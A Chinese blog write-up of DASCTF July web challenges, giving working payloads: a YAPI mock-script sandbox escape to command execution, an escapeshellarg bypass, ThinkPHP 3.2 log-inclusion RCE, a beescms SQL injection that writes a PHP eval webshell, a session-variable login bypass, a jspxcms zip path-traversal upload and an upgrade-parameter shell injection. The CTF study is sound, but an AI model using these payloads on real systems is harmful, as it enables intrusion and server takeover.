【复现】DASCTF July

160 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十九天,点击查看活动详情

web

ezrce

打开发现是YAPI的api管理平台,不是很熟悉,百度搜的yapi rce blog.csdn.net/XavierDarkn… 这篇文章写的很仔细,首先注册一个账户,添加项目后,再添加一个接口 image.png

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

image.png 后面修改为ls ../../可以获取flag文件的名称,之后cat就可以了

cat flag

<?php

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        system('cat ' . $cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

根据提示可以想到访问日志文件,通过指纹识别可以得到服务器为nginx,nginx的日志文件为?cmd=/var/log/nginx/access.log image.png 得到flag文件名 image.png 这里有个和之前命令执行不一样的地方,也就是我一直想不明白的地方 首先拿到题目后,理所应当的想到了使用fl*进行贪婪匹配或者正则匹配读取flag,但是这里却读取不来 image.png 写一个demo,稍微改动了下源码

<?php

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        //system($cmd);
        print $cmd;
    }
} else {
    highlight_file(__FILE__);
}
?>

?cmd=cat fl* image.png 可以看到经过escapeshellarg方法之后cmd的值外面有了一对单引号,这也是我之前对该方法存在误区的地方,之前我认为这个方法是在单引号前面添加一个反斜杠和单引号,不知道的是会在整个输入外面包裹上一对单引号,这一对单引号也就是为什么不能贪婪匹配和正则匹配不到flag原因 如果文件外加了括号那么就会被认为是个单纯的文件名 image.png 但是随便输入一个不能解码的字符就可以绕过这个单引号的限制 image.png ?cmd=this_is_final_fl%ddag_e2a457126032b42d.php image.png

easythinkphp

通过日志泄露写shell github.com/r3change/TP… 使用这个工具可以探测到是否有泄露的日志文件 image.png 使用thinkphp3.2.X的一个通过报错进行文件包含进行RCE的漏洞 cloud.tencent.com/developer/a… /index.php?m=--> image.png 这里不知道为什么前几次直接在浏览器写shell就写不进去或者写进去之后的shell只显示一堆乱码,重开了无数次环境才可以 连接shell /index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_03.log image.png

cybercms

/www.zip下载源码,其实是beescms /admin/login.php

elseif($action=='ck_login'){
   global $submit,$user,$password,$_sys,$code;
   $submit=$_POST['submit'];
   $user=fl_html(f1_vvv(fl_value($_POST['user'])));
   $password=fl_html(f1_vvv(fl_value($_POST['password'])));
   $code=$_POST['code'];
   if(!isset($submit)){
      msg('请从登陆页面进入');
   }
   if(empty($user)||empty($password)){
      msg("密码或用户名不能为空");
   }
   if(!empty($_sys['safe_open'])){
      foreach($_sys['safe_open'] as $k=>$v){
      if($v=='3'){
         //if($code!=$s_code){msg("验证码不正确!");}
      }
      }
      }
   check_login($user,$password);

查看f1_value方法,将SQL注入的很多函数都过滤掉了,双写不就绕过去了吗(手动狗头)

function fl_value($str){
   if(empty($str)){return;}
   return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

f1_vvv方法,不能出现空格

function f1_vvv($str){
   if(empty($str)){return;}
   if(preg_match("/\ /i", $str)){
      exit('Go away,bad hacker!!');
   }
   preg_replace('/0x/i','',$str);
    return $str;
}

f1_html方法,htmlspecialchars这个函数主要对特殊符号进行实体编码,防止xss,值得注意的是这个方法不对单引号进行编码,因此存在单引号注入

function fl_html($str){
   return htmlspecialchars($str);
}

之后进入check_login方法,这个方法是先检测用户名是否在数据库中

function check_login($user,$password){
   $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"); 
   $rel=empty($rel)?'':$rel[0];
   if(empty($rel)){
      msg('不存在该管理用户','login.php');
   }
   $password=md5($password);
   if($password!=$rel['admin_password']){
      msg("输入的密码不正确");
   }
   if($rel['is_disable']){
      msg('该账号已经被锁定,无法登陆');
   }

payload:

user=admin%27union/**/selselectect/**/null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e/**/into/**/outoutfilefile%27/var/www/html/shell.php%27%23&password=aaaa&code=aaaa&submit=true&submit.x=41&submit.y=22

然后连接/shell.php即可 逻辑漏洞 _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999 但是后台文件上传不能用

jspxcms

后台文件上传漏洞 用户名admin密码为空 www.shengchulai.com/blog-NJwAv8… www.anquanke.com/post/id/188…

import zipfile 

if __name__ == "__main__": 

    try:

        binary = b'<script>alert("helloworld")</script>'

        zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED) 

        info = zipfile.ZipInfo("test5.zip")

        zipFile.writestr("../../../safedog.html", binary)

        zipFile.close()

    except IOError as e: 

        raise e 

生成zip文件,把war包放进去之后上传文件,在线解压,解压后的文件目录不是在uploads目录下,而是我们设置的../../../ war包压缩:jar cvf cmd.war * image.png

ez_website

后台弱口令 admin/admin888 我没有搭出来网站,不能动态调试了,我恨 问题主要在/Upgrade.php image.png 跟进writelog方法,没有过滤就将$upgrade_edition写入了,这里是写shell的关键

$this->clean_cache();
if( file_put_contents(config('client_upgrade_edition'), '<?php return ["md5"=>"'.$upgrade_edition.'","time"=>"'.date('Y-m-d H:i').'",];') ){
    return true;
}else{
    return '权限不足,日志写入失败';
}

image.png /admin.php/admin/upgrade/sysup.html?upgrade_edition=%22,%22%22=%3Esystem($_POST[%27cmd%27])%22,];?%3E//